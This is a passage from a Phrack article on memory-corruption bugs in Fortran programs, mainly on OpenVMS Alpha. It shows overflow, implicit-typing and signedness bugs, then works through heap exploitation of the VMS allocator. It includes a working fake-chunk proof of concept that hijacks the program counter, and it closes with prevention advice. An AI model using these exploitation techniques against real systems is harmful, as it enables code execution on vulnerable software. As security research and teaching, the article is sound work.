So there is no crash and the local buffer is not a stack buffer. Let's dig
|
|
a little bit more with the debugger:
|
|
|
|
-----BEGIN VMS STACK OV 2-----
|
|
$ r /debug cast2
|
|
[...]
|
|
DBG> go
|
|
&X= 40000
|
|
S=AAAA
|
|
%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
|
|
DBG> dump /hex %hex 40000:%hex 40080
|
|
20202020 20202020 20202020 41414141 AAAA 0000000000040000
|
|
00000000 00000000 00000000 20202020 ............ 0000000000040010
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040020
|
|
[..]
|
|
-----END VMS STACK OV 2-----
|
|
|
|
OK so there is an overflow since 20 bytes are written but it's _not_ a
|
|
'stack' overflow. Troublesome isn't it? Can we exploit it since we cannot
|
|
corrupt the saved registers? Hum. I would say that the exploitation of such
|
|
a bug is without a doubt heavily dependant of the context. If metadata can
|
|
be overwritten then there may be a way to exploit the program, if not it
|
|
seems quite unlikely... :<
|
|
|
|
The implicit typing
|
|
-------------------
|
|
|
|
Let's quote the "HP Fortran for OpenVMS Language Reference Manual":
|
|
|
|
---
|
|
Chap 3.5.1.2 Implicit Typing Rules
|
|
|
|
"By default, all scalar variables with names beginning with I, J, K, L, M,
|
|
or N are assumed to be default integer variables. Scalar variables with
|
|
names beginning with any other letter are assumed to be default real
|
|
variables. [...]"
|
|
---
|
|
|
|
As a result, if the documentation is correct, there should be an overflow.
|
|
Let's verify it:
|
|
|
|
-----BEGIN IMPLICIT TYPE 3-----
|
|
$ type implicit_typing3.f90
|
|
SUBROUTINE set(I)
|
|
write(*,*) 'How much do u want to read dude ?'
|
|
read(*,*) I
|
|
END SUBROUTINE
|
|
|
|
PROGRAM IMPLICIT_TYPING
|
|
IMPLICIT NONE
|
|
INTEGER(1) :: A, B
|
|
A = 0
|
|
B = 0
|
|
write(*,fmt='(A,Z10),(A,Z20)') ' A=',A , '\&A=', %LOC(A)
|
|
write(*,fmt='(A,Z10),(A,Z20)') ' B=',B , '\&B=', %LOC(B)
|
|
CALL set(B)
|
|
B = B + 140
|
|
write(*,*) 'A=',A,'B=',B
|
|
END PROGRAM
|
|
$ fort implicit_typing
|
|
$ lin implicit_typing
|
|
$ r /debug implicit_typing
|
|
[...]
|
|
DBG> go
|
|
A= 0
|
|
&A= 40008 [L1]
|
|
B= 0
|
|
&B= 40000 [L2]
|
|
How much do u want to read dude ?
|
|
2147483647
|
|
A= 0 B= -117 [L3]
|
|
%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
|
|
DBG> dump /hex %hex 40000 : %hex 40010
|
|
00000000 00000000 00000000 7FFFFF8B ................ 0000000000040000 [L4]
|
|
00000000 .... 0000000000040010
|
|
-----END IMPLICIT TYPE 3-----
|
|
|
|
*) Since &A - &B = 8, an overflow of at least 9 bytes would be required
|
|
to corrupt A from B ([L1],[L2]).
|
|
|
|
*) The memory dump proves that the implicit behavior is exactly what is
|
|
described in the reference manual [L4].
|
|
|
|
*) Unless the compiler was smart enough to allocate space on the stack
|
|
to prepare the manipulation in set(), there is clearly an overflow
|
|
as B is definitely a 1 byte buffer in the MAIN_() [L3].
|
|
|
|
The signedness issue
|
|
--------------------
|
|
|
|
As stated earlier, Fortran's integers are signed which means that it's not
|
|
possible to have signedness bugs unless there is a cast induced by an
|
|
external function call.
|
|
|
|
Let's see a short example using the LIB$MOVC3() function wich is similar to
|
|
the memcpy() from libc:
|
|
|
|
-----BEGIN SIGNED 1-----
|
|
SUBROUTINE copy(S,L)
|
|
INTEGER(2) L
|
|
CHARACTER D(80) ! Destination buffer
|
|
CHARACTER*(*) S
|
|
write(*,fmt='(A,Z10),(A,Z20)') ' Len=',L , '\&Len=', %LOC(L)
|
|
write(*,fmt='(A,Z10),(A,Z20)') '\&D=', %LOC(D), '\&S=',%LOC(S)
|
|
|
|
! This C function will perform the copy
|
|
CALL LIB$MOVC3(L,%REF(S),%REF(D)) [L2]
|
|
write(*,*) 'D is ', D
|
|
END SUBROUTINE
|
|
|
|
PROGRAM CMOOV
|
|
CHARACTER(16) Guard0
|
|
CHARACTER(80) S
|
|
CHARACTER(16) Guard1
|
|
INTEGER(2) length
|
|
|
|
write(*,fmt='(A,Z10)') '\&Guard0=',%LOC(Guard0)
|
|
write(*,fmt='(A,Z10)') '\&Guard1=',%LOC(Guard1)
|
|
write(*,*) '1. Buffer string?'
|
|
read(*,*) S
|
|
write(*,*) '2. String len?'
|
|
read(*,*) length
|
|
|
|
! Secure check
|
|
IF (length .gt. 80) THEN [L1]
|
|
write(*,*) 'S is too long man ...', length
|
|
STOP
|
|
END IF
|
|
|
|
DO I=1,len(Guard0)
|
|
Guard0(I:I) = 'Y'
|
|
Guard1(I:I) = 'Z'
|
|
END DO
|
|
|
|
write(*,*) '3. Copying ... '
|
|
CALL copy(S,MIN(len_trim(S),length))
|
|
|
|
END PROGRAM
|
|
-----END SIGNED 1-----
|
|
|
|
*) A security check is performed in [L1]. However due to the signedness
|
|
issue, a user may be able to bypass it by suppling a negative value.
|
|
|
|
*) The copy function is called with the negative size [L2].
|
|
|
|
As expected, LIB$MOVC3() implicitly castes the integer as unsigned and if a
|
|
negative length is supplied, a crash occurs.
|
|
|
|
-----BEGIN SIGNED 2-----
|
|
$ r /debug MOVC3
|
|
[...]
|
|
DBG> go
|
|
&Guard0= 40068
|
|
&Guard1= 40058
|
|
1. Buffer string?
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
2. String len?
|
|
16 <-- let's first copy 16 bytes
|
|
3. Copying ...
|
|
Len= 10
|
|
&Len= 7AE3DA58 <-- stack address
|
|
&D= 40000 <-- global data address
|
|
&S= 40078 <-- global data address
|
|
D is AAAAAAAAAAAAAAAA <-- copy was successful
|
|
|
|
%DEBUG-I-EXITSTATUS, is '%SYSTEM-S-NORMAL, normal successful completion'
|
|
DBG> dump /hex %hex 40000:%hex 40100
|
|
41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040010
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040020
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040030
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040040
|
|
5A5A5A5A 5A5A5A5A 00000000 00000010 ........ZZZZZZZZ 0000000000040050
|
|
59595959 59595959 5A5A5A5A 5A5A5A5A ZZZZZZZZYYYYYYYY 0000000000040060
|
|
41414141 41414141 59595959 59595959 YYYYYYYYAAAAAAAA 0000000000040070
|
|
41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040080
|
|
20202020 20202020 41414141 41414141 AAAAAAAA 0000000000040090
|
|
20202020 20202020 20202020 20202020 00000000000400A0
|
|
20202020 20202020 20202020 20202020 00000000000400B0
|
|
00000000 00000000 20202020 20202020 ........ 00000000000400C0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400D0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400E0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400F0
|
|
00000000 .... 0000000000040100
|
|
[...]
|
|
DBG> go
|
|
&Guard0= 40068
|
|
&Guard1= 40058
|
|
1. Buffer string?
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
2. String len?
|
|
-1
|
|
3. Copying ...
|
|
Len= FFFF <--- We are requesting a 65535 bytes copy
|
|
&Len= 7AE3DA58
|
|
&D= 40000
|
|
&S= 40078
|
|
%SYSTEM-F-ACCVIO, access violation, reason mask=00,
|
|
virtual address=0000000000042000, PC=FFFFFFFF80C85234, PS=0000001B
|
|
[...]
|
|
DBG> dump /hex %hex 40000:%hex 40100
|
|
41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040000
|
|
41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040010
|
|
41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040020
|
|
41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040030
|
|
41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 0000000000040040
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040050
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040060
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040070
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040080
|
|
00000000 00000000 00000000 00000000 ................ 0000000000040090
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400A0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400B0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400C0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400D0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400E0
|
|
00000000 00000000 00000000 00000000 ................ 00000000000400F0
|
|
00000000 .... 0000000000040100
|
|
-----END SIGNED 2-----
|
|
|
|
Comparing the difference between both executions, it's easy to see that the
|
|
overflow was effective as Guard0, Guard1, S and even length were
|
|
overwritten. The crash occurs during the copy because of the guard page
|
|
located at 0x42000 (the page is not mmaped). This case is probably not
|
|
exploitable but is sufficient to prove the reality of signedness bugs on
|
|
a VMS environnement.
|
|
|
|
Is such a situation likely to happen? Fortunately, yes. Indeed, HP is nice
|
|
enough to make easy the use of the VMS API in every supported language. For
|
|
example you will see countless examples in the official documentation
|
|
explaining how to call VMS functions when programming in Fortran, VAX asm,
|
|
C, etc. A bit of googling confirmes it.
|
|
|
|
|
|
---[ 4.2 - Playing with the heap
|
|
|
|
Like I said before, OpenVMS developers usually tend (even in Fortran) to
|
|
use the VMS native RTL API which is far more granular than the classical C
|
|
malloc/free functions [R13]. However, ALLOCATE() and DEALLOCATE() could be
|
|
chosen for portability purpose which is why we focus on them in this study.
|
|
|
|
What will be shown below are the global algorithms behind malloc/free and
|
|
ALLOCATE/DEALLOCATE as they are almost the same (if not exactly the same).
|
|
More generally, it is believed that this result could easily be transposed
|
|
to the VMS kernel heap [R14] though the adaptation itself is left as an
|
|
exercise for the reader.
|
|
|
|
Understanding the VMS malloc/free API
|
|
-------------------------------------
|
|
|
|
Unallocated memory is grouped into "bins" of (almost) similar sizes,
|
|
implemented by using a single-linked list of chunks (with a pointer stored
|
|
in the unallocated space inside the chunk) as illustrated below:
|
|
|
|
+-------+ +-------+ +-------+
|
|
| Bin X |---->| Chunk |---->| 0x0 |
|
|
+-------+ +-------+ +-------+
|
|
| ... |
|
|
+-------+ +-------+ +-------+ +-------+ +-------+
|
|
| Bin Y |---->| Chunk |---->| Chunk |---->| Chunk |---->| 0x0 |
|
|
+-------+ +-------+ +-------+ +-------+ +-------+
|
|
| ... |
|
|
+-------+ +-------+
|
|
| Bin Z |---->| 0x0 |
|
|
+-------+ +-------+
|
|
|
|
In this particular case, at least 4 free() have already been performed. Now
|
|
let's have a look at the chunk 'returned' by malloc():
|
|
|
|
|
|
4 bytes
|
|
<------------------------------------->
|
|
|
|
<-------->
|
|
1 byte
|
|
|
|
chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
| SIZE |
|
|
+-------------------------------------+
|
|
| tag = 0xF00D | Bin_ID | 0x00 |
|
|
mem -> +-------------------------------------+
|
|
| |
|
|
. .
|
|
. DATA .
|
|
. .
|
|
| |
|
|
+ + + + + + + + + + + + + + + + + + + +
|
|
|
|
With :
|
|
|
|
*) SIZE: the size of the chunk in bytes. It may be rounded.
|
|
*) 0xF00D: a tag which indicates that the chunk is allocated.
|
|
*) Bin_ID: The ID of the Bin corresponding to the allocated SIZE.
|
|
*) mem: the pointer returned by malloc() or ALLOCATE().
|
|
|
|
If the user performs a free() or a DEALLOCATE() on this chunk, a slight
|
|
modification occurs:
|
|
|
|
4 bytes
|
|
<------------------------------------->
|
|
|
|
<-------->
|
|
1 byte
|
|
|
|
chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|
| SIZE |
|
|
+-------------------------------------+
|
|
| tag = 0x7777 | Bin_ID | 0x00 |
|
|
mem -> +-------------------------------------+
|
|
| NEXT_MEM |
|
|
+-------------------------------------+
|
|
| |
|
|
. .
|
|
. free (uncleaned) space .
|
|
. .
|
|
| |
|
|
+ + + + + + + + + + + + + + + + + + + +
|
|
|
|
With:
|
|
|
|
*) SIZE and Bin_ID being unchanged.
|
|
*) 0x7777: a tag indicating that the chunk is not allocated anymore.
|
|
*) NEXT_MEM: a pointer to the next chunk's mem of the same bin. It can
|
|
be the NULL pointer if there is no more free chunks in the list.
|
|
|
|
Note: It may sound silly not to point to the next 'chunk' directly but
|
|
that's how things are done friends.
|
|
|
|
The free() algorithm is somewhat basic and can essentially be described
|
|
using the following pseudo code:
|
|
|
|
-----BEGIN free()-----
|
|
free(void *p):
|
|
CHUNK *c, *head;
|
|
c = chunk_from_mem(p);
|
|
c->tag = 0x7777;
|
|
head = get_head_from_chunk(c); [L1]
|
|
c->NEXT_MEM = head->first; [L2]
|
|
head->first = c; [L3]
|
|
-----END free()-----
|
|
|
|
So in the end, a free() is 'almost' equivalent to an element insertion in a
|
|
single list. In practice, the real allocator may well be a bit more complex
|
|
as I didn't investigate the chunks splitting/fusion mechanisms (if any).
|
|
Note that a free()ed chunk will become the first of the corresponding
|
|
single chained list, something to keep in mind.
|
|
|
|
The malloc() function is pretty straightforward:
|
|
|
|
-----BEGIN malloc()-----
|
|
void *malloc(size_t s):
|
|
CHUNK *c, *head;
|
|
size_t s_new = ROUND(s);
|
|
head = get_head_from_size(s_new); [M1]
|
|
|
|
if(!head->first)
|
|
{
|
|
[...]
|
|
}
|
|
|
|
c = head->first; [M2]
|
|
c->tag = 0xF00D; [M3]
|
|
head->first = c->NEXT_MEM; [M4]
|
|
return (mem_from_chunk(c));
|
|
-----END malloc()-----
|
|
|
|
A malloc() is the removal of a chunk from the corresponding chained list.
|
|
Note that the first chunk of the list will be the first to be removed. If
|
|
the list is empty, a special treatment is performed but we don't care about
|
|
that.
|
|
|
|
Taking advantage of the overflow
|
|
--------------------------------
|
|
|
|
Exploiting an heap overflow can be done using at least two techniques:
|
|
|
|
*) The (partial) overwrite of metadata stored on the heap. Depending on
|
|
where and how much you can overflow, this might be interesting
|
|
especially since function pointers could be stored there.
|
|
|
|
*) The fake chunk insertion. The idea is to make malloc returning an
|
|
address pointing to a chosen area (like the stack). The normal use
|
|
of the buffer will then lead to the control of the process.
|
|
|
|
Since the first technique is no news, let's see how to perform the second
|
|
one. In order to do that, we'll play with following C code:
|
|
|
|
-----BEGIN HEAP VMS 1-----
|
|
// Allocation
|
|
int *p = malloc(100);
|
|
int *q = malloc(100);
|
|
memset(p, 0x41, 100);
|
|
memset(q, 0x42, 100);
|
|
free(q); [N1]
|
|
// heap overflow
|
|
memcpy(p, user_buff, user_size); [N2]
|
|
-----END HEAP VMS 1-----
|
|
|
|
In order to simplify things, we'll assume that there was no previous
|
|
allocation in the same BIN. Let's visualize the heap layout:
|
|
|
|
Before [N1] Before [N2] After [N2]
|
|
|
|
[ 00000070 ] [ 00000070 ] [ 00000070 ]
|
|
[ f00d3d00 ] [ f00d3d00 ] [ f00d3d00 ]
|
|
p -> [ 41414141 ] [ 41414141 ] [ 41414141 ]
|
|
[ 41414141 ] [ 41414141 ] [ 41414141 ]
|
|
[ 41414141 ] [ 41414141 ] [ 41414141 ]
|
|
[ 41414141 ] [ 41414141 ] [ 41414141 ]
|
|
[ ... ] [ ... ] [ ... ]
|
|
[ 00000070 ] [ 00000070 ] [ 55555555 ]
|
|
[ f00d3d00 ] [ 77773d00 ] user -> [ 55555555 ]
|
|
q -> [ 42424242 ] [ 00000000 ] supplied [ 00000000 ]
|
|
[ 42424242 ] [ 42424242 ] pointer [ 42424242 ]
|
|
|
|
Now regarding the associated linked list, we have the following evolution:
|
|
|
|
+------------+ +------------+
|
|
1. | Bin 0x3d |---->| 0x00000000 |
|
|
+------------+ +------------+
|
|
|
|
+------------+ +------------+ +------------+
|
|
2. | Bin 0x3d |---->| q |---->| 0x00000000 |
|
|
+------------+ +------------+ +------------+
|
|
|
|
+------------+ +------------+ +------------+
|
|
3. | Bin 0x3d |---->| q |---->| 0x55555555 |
|
|
+------------+ +------------+ +------------+
|
|
|
|
As a result, the linked list of our bin is corrupted and q->NEXT_MEM is
|
|
user supplied. To prove that fact, we can dereference q->NEXT_MEM as it
|
|
will lead to a program crash. This is possible thanks to [M4] if two
|
|
malloc(100) are performed after the corruption:
|
|
|
|
-----BEGIN HEAP VMS 2-----
|
|
VMS $ r POC
|
|
[...]
|
|
0000447d0: 41414141 41414141 41414141 41414141
|
|
0000447e0: 41414141 41414141 41414141 41414141
|
|
0000447f0: 41414141 41414141 41414141 41414141
|
|
000044800: 41414141 55555555 55555555 f00d5555 [O1]
|
|
000044810: 55555555 42424242 42424242 42424242
|
|
000044820: 42424242 42424242 42424242 42424242
|
|
000044830: 42424242 42424242 42424242 42424242
|
|
000044840: 42424242 42424242 42424242 42424242
|
|
[...]
|
|
%SYSTEM-F-ACCVIO, access violation, [...] virtual address=0000000055555555
|
|
%TRACE-F-TRACEBACK, symbolic stack dump follows
|
|
image module routine line rel PC abs PC
|
|
LIBRTL 0 000000000000610C FFFFFFFF80C2E10C
|
|
LIBRTL ? ?
|
|
DECC$SHR_EV56 0 0000000000052710 FFFFFFFF80DDE710
|
|
DECC$SHR_EV56 ? ?
|
|
POC POC main 4210 00000000000003BC 00000000000203BC
|
|
POC POC __main 4128 000000000000006C 000000000002006C
|
|
-----END HEAP VMS 2-----
|
|
|
|
It's interesting to see that _fortunately_ size doesn't matter ;). Indeed
|
|
free() is not 'really' looking at what's written in the corrupted chunk's
|
|
header [O1] (size, allocation tag, ...). Great for us it makes things even
|
|
easier.
|
|
|
|
However something really important is that the corruption would seemingly
|
|
not have been possible if q was allocated as:
|
|
|
|
*) if q was allocated then it wouldn't be part of the list.
|
|
*) and if q was free()ed _after_ the corruption then q->NEXT_MEM would
|
|
naturally be overwritten by free().
|
|
|
|
There might be a way to trick the allocator so that an arbitrary free() is
|
|
performed but I couldn't find any way to do that probably because my
|
|
knowledge of the allocator algorithm is rather limited.
|
|
|
|
At that point, we've almost won as we successfully inserted a fake chunk
|
|
in the linked list. As a result, writing will be performed at a user
|
|
supplied address. However depending on the context, we may or may not be
|
|
able to sufficiently control _what_ will be written:
|
|
|
|
*) If we cannot control the payload then a F00D delivery is still
|
|
possible thanks to [M3]. If we can make the program perform the two
|
|
necessary allocations, then the program will write 0xF00D at 'addr'
|
|
if NEXT_MEM is overwritten with 'addr+2'. If you plan to exploit the
|
|
least significant bits of a pointer then you can probably improve the
|
|
technique with an F0 overwrite if the data located immediately before
|
|
can be partially corrupted.
|
|
|
|
Note: Starving hackers would probably have thought of turning F00D
|
|
into 0D but remember that Alpha is big endian.
|
|
|
|
*) If we can control the payload, then the best way is probably to
|
|
overwrite the PC address saved on the stack (there is no ASLR folks).
|
|
Back on our feets [R9]:
|
|
|
|
-----BEGIN HEAP VMS 3-----
|
|
VMS $ type poc.F90
|
|
PROGRAM POC
|
|
INTEGER(4), POINTER :: P(:)
|
|
INTEGER(4), POINTER :: Q(:)
|
|
INTEGER(4), POINTER :: M(:)
|
|
INTEGER(4), POINTER :: P2(:)
|
|
INTEGER(4) :: I
|
|
|
|
ALLOCATE(P(100))
|
|
ALLOCATE(Q(100))
|
|
|
|
! Debugging purpose
|
|
P = 'AAAA'
|
|
Q = 'BBBB'
|
|
write(*,fmt='(A,Z10)') ' P=',%LOC(P)
|
|
write(*,fmt='(A,Z10)') ' Q=',%LOC(Q)
|
|
|
|
P2 => P
|
|
DEALLOCATE(Q)
|
|
|
|
! Fake heap overflow
|
|
P2(101) = Z'55555555'
|
|
P2(102) = Z'55555555'
|
|
P2(103) = Z'55555555'
|
|
P2(104) = Z'55555555'
|
|
P2(105) = Z'7AE3D910' + 100 ! fixed to work ;)
|
|
|
|
write(*,*) "******** AFTER CORRUPTION ************"
|
|
ALLOCATE(M(100))
|
|
write(*,*) "******** AFTER MALLOC 1 ************"
|
|
|
|
ALLOCATE(M(100))
|
|
write(*,fmt='(A,Z10)') ' FAKE CHUNK AT ',%LOC(M)
|
|
! Simulating a user supplied payload
|
|
DO I=1,80
|
|
M(I) = Z'44444444'
|
|
END DO
|
|
END PROGRAM
|
|
VMS $ FORT poc
|
|
VMS $ LIN poc
|
|
VMS $ r poc
|
|
P= 52008
|
|
Q= 521A8
|
|
******** AFTER CORRUPTION ************
|
|
******** AFTER MALLOC 1 ************
|
|
FAKE CHUNK AT 7AE3D974
|
|
%SYSTEM-F-ACCVIO, [...] PC=4444444444444444, PS=0000001B
|
|
%TRACE-F-TRACEBACK, symbolic stack dump follows
|
|
image module routine line rel PC abs PC
|
|
0 4444444444444444 4444444444444444
|
|
-----END HEAP VMS 3-----
|
|
|
|
Note: The stack address is hardcoded but this is not a big issue as there
|
|
is no ASLR :).
|
|
|
|
One step further
|
|
----------------
|
|
|
|
OK a few more things and we're done with OpenVMS (anyway at that point
|
|
you're probably either sleeping already or reading a much more interesting
|
|
article of this issue ;)).
|
|
|
|
1) I came across this funny thing while reading HP's documentation [R11]:
|
|
|
|
---
|
|
Chap 5.9.5 2-GB malloc No Longer Fails Silently
|
|
|
|
The C RTL malloc function accepts an unsigned int (size_t) as its
|
|
parameter. The LIB$VM_MALLOC action accepts a (positive) signed integer as
|
|
its parameter. Allocating 2 GB (0x80000000) did not allocate the proper
|
|
amount of memory and did not return an error indication. A check is now
|
|
added to the malloc, calloc, and realloc functions for sizes equal to or
|
|
greater than 2 GB that fail the call.
|
|
---
|
|
|
|
WOWOWOWO jackpot :) Who said this _could_ have security consequences? ;>
|
|
|
|
2) I investigated the ALLOCATE(size) issue under OpenVMS Alpha 8.3 and the
|
|
result is that if size <= 0 and size >= -0x80000000 then the address 0x100
|
|
is returned (if size < -0x80000000 an input conversion occurs
|
|
(%FOR-F-INPCONERR)).
|
|
|
|
Since the 0x100 address is not mmaped, the only way to exploit this
|
|
situation would be to dereference the pointer using a sufficiently great
|
|
index to access user controlled data. While this is theoretically feasible
|
|
since memory regions are mmaped at low addresses, a practical case has yet
|
|
to be found.
|
|
|
|
---
|
|
|
|
---[ 7 - Prevention: lets use a condom
|
|
|
|
Now is the time to think about how to avoid security troubles with Fortran
|
|
programs. In order to do that, several things (more or less effective) can
|
|
be done:
|
|
|
|
*) A careful review of the source code. Believe me, it's not that easy.
|
|
To properly perform that, you have to know the language deeply and
|
|
being well aware of its weaknesses. Depending on your level of
|
|
mastery, bugs may still be left as Fortran really is a vicious
|
|
language. Mastering this paper for example is probably far from
|
|
being enough.
|
|
|
|
*) The study of your Fortran compiler. Try to find what kind of bugs
|
|
are likely to be found/exploited with your compiler. A good starting
|
|
point is probably to have a look at the "Compiler Diagnostic Test
|
|
Sets" project [R17]. Not only will you find accurate information
|
|
about several compilers but you will also find new kind of bugs
|
|
(though not always security related) as well as a precious test set.
|
|
|
|
*) Read the manpage of your compiler to see if compile/runtime extra
|
|
security checks could be performed. Let me show you an example.
|
|
Remember that in Chap 3.1 I gave the following example:
|
|
|
|
-----BEGIN OVERFLOW 1-----
|
|
$ cat overflow1.f90
|
|
PROGRAM test
|
|
CHARACTER(len=30) :: S ! String of length 30
|
|
INTEGER(4) I
|
|
S = 'Hello Phrack readers!'
|
|
read(*,*) I
|
|
S(I:I) = '.'
|
|
write(*,*) S
|
|
END PROGRAM
|
|
$ gfortran overflow1.f90
|
|
$ ./a.out
|
|
He.lo Phrack readers! <-- S was modified with 0x2E
|
|
$ gdb ./a.out
|
|
[...]
|
|
(gdb) r
|
|
Starting program: a.out
|
|
50 <-- 50 is clearly out of scope! (>30)
|
|
Breakpoint 1, 0x080487be in MAIN__ ()
|
|
(gdb) print /d $eax
|
|
$1 = 50
|
|
(gdb) c
|
|
Hello Phrack readers!
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x2e04885b in ?? () <-- EIP was corrupted with 0x2E
|
|
-----END OVERFLOW 1-----
|
|
|
|
Now let's see what happens when the '-fbounds-check' option is used:
|
|
|
|
-----BEGIN OVERFLOW 2-----
|
|
$ gfortran overflow1.f90 -fbounds-check
|
|
$ ./a.out
|
|
[Type 50]
|
|
At line 7 of file overflow1.f90
|
|
Fortran runtime error: Substring out of bounds: upper bound (50) of
|
|
's' exceeds string length (30)
|
|
$ ./a.out
|
|
[Type -1]
|
|
At line 7 of file overflow1.f90
|
|
Fortran runtime error: Substring out of bounds: lower bound (-1) of
|
|
's' is less than one
|
|
-----END OVERFLOW 2-----
|
|
|
|
As expected, the program now includes runtime checks. Depending on
|
|
the bug class, the compiler may have a specific option to prevent or
|
|
detect it. RTFM.
|
|
|
|
*) Static analysis. Well to be honest I didn't investigate it at all.
|
|
While digging for this article, I came across a couple of opensource
|
|
projects as well as commercial implementations (sorry NO ADVERTISING
|
|
in PHRACK dudes).
|
|
|
|
While I didn't test any of them, I can imagine that there may
|
|
effective ones as some kind of bugs would really be easy to spot
|
|
using for example type checking (first thing that comes to my mind).
|
|
Anyway it's just mere speculation. Either test it or forget it. Like
|
|
we care anyway.
|
|
|
|
Sometimes a condom is not enough. The best for you is probably not to use
|
|
this insanely fucked language. Once again, who cares about Fortran anyway?
|
|
|
|
[ http://www.fortranstatement.com/cgi-bin/petition.pl ]
|
|
|
|
---
|
|
|
|
---[ 8 - The final words
|
|
|
|
There would have been a lot more to add (studying other compilers/arch) but
|
|
unfortunately time is running out and I would rather not make the paper
|
|
more boring than it currently is ;) Anyway as far as I can tell, the
|
|
essential is covered and with that in mind and a bit of practice, I expect
|
|
you to be able to quickly find new bugs.
|
|
|
|
Hackers dealing with/busting/exploiting bugs in Fortran programs are
|
|
so rare in our World that I bet that none of you had ever heard a word
|
|
about Fortran's security issues. Nowadays people are more focused on
|
|
languages such as PHP, Java or .NET which is normal for obvious reasons.
|
|
Now it doesn't mean that other languages are not interesting too and you
|
|
never know when appropriate knowledge becomes handy. History proved that
|
|
bugs not always occurred in the 'daily' hacking playground (C/PHP,
|
|
Unix/Windows) [R19] so why would we restrain ourselves?
|
|
|
|
Not convinced? OK allow me to alter the smart thoughts of a fellow p67
|
|
writer: "We hack Fortran just because we can. We don't really need a reason
|
|
anyway as soon as bugs are there, we are there."
|
|
|
|
---
|
|
|
|
---[ 8 - Greetz
|
|
|
|
My first thoughts are for all talented hackers with whom I had so much to
|
|
share all these years. May you guys never lose that spirit of yours nor
|
|
your ethics [R15]. Special thanks to the Phrack staff for their help,
|
|
advise and review.
|
|
|
|
Now and because alone life would have no meaning, special thanks to my
|
|
friends not only for being there but also for being able to support me
|
|
especially when I'm *cranky* as hell :')
|
|
|
|
Special apologize to the great guys of the FHC (Fortran High Council). Just
|
|
for once I wanted to be as cool as king-fag-c0pe though it probably means
|
|
that it's a matter of days before witnessing the bust of all cool Fortran
|
|
0dayZ on FD :((( Don't be afraid sysadmins, thanx to gg security folks
|
|
everything will be done in a 'responsible' way [R16] ;>
|
|
|
|
Also thanks to all of you who will nominate this paper at the 2011 pwnies
|
|
award as the "most innovative research paper" ;>
|
|
|
|
---
|
|
|
|
---[ 9 - Bibliography
|
|
|
|
[R1] http://onepiece.wikia.com/wiki/Buggy
|
|
[R2] Fortran90, ISO/IEC 1539
|
|
[R3] http://gcc.gnu.org/onlinedocs/gfortran/
|
|
[R4] HP Fortran for OpenVMS - Language Reference Manual, HP
|
|
[R5] Shifting the Stack Pointer, andrewg, Phrack #63
|
|
[R6] Basic Integer Overflows, Blexim, Phrack #60
|
|
[R7] http://www.cs.rpi.edu/~szymansk/OOF90/bugs.html
|
|
[R8] http://h71000.www7.hp.com/success-stories.html
|
|
[R9] Hacking OpenVMS, C. Nyberg, C. Oberg & J. Tusini, Defcon16
|
|
[R10] http://www.cisl.ucar.edu/tcg/consweb/Fortran90/scnpoint.html
|
|
[R11] HP OpenVMS Version 8.3 Release Notes, HP
|
|
[R12] Alpha Assembly Language Guide, R.Bryant, Carnegie Mellon University
|
|
[R13] http://labs.hoffmanlabs.com/node/401
|
|
[R14] OpenVMS Alpha Internals and Data Structures: Memory Management, HP
|
|
[R15] Industry check, ZF0 #5
|
|
[R16] http://googleonlinesecurity.blogspot.com/2010/07/rebooting-
|
|
responsible-disclosure-focus.html (lol)
|
|
[R17] http://ftp.cac.psu.edu/pub/ger/fortran/test/results.txt
|
|
[R18] http://www.fortranstatement.com
|
|
[R19] http://www5.in.tum.de/persons/huckle//horrorn.pdf
|
|
[R20] http://deathrow.vistech.net
|
|
|
|
---
|
|
|
|
That is the saving of humor, if you fall no one is laughing at you.
|
|
A. Whitney Brown
|
|
|
|
---
|
|
|
|
--------[ EOF
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x0c of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=------------------=[ P H R A C K E R Z: Two Tales ]=-------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=-------------------=[ Antipeace and The Analog Kid ]=------------------=|
|
|
|=-----------=[ antipeace@phrack.org / analog_kid@phrack.org ]=----------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
This is a tale of two hackers. Two souls lost in this world of bits. One
|
|
tells a first hand tale of a hackers life. Another, gone mad from analyzing
|
|
too many ltrace outputs, looks at the existence of Phrack Inc. from the
|
|
outside.
|
|
|
|
One wanted to be a hacker from childhood. The other had plans of being a
|
|
rock star. None the less, here in this strange network of fibers, their
|
|
paths collide and their stories are fused together.
|
|
|
|
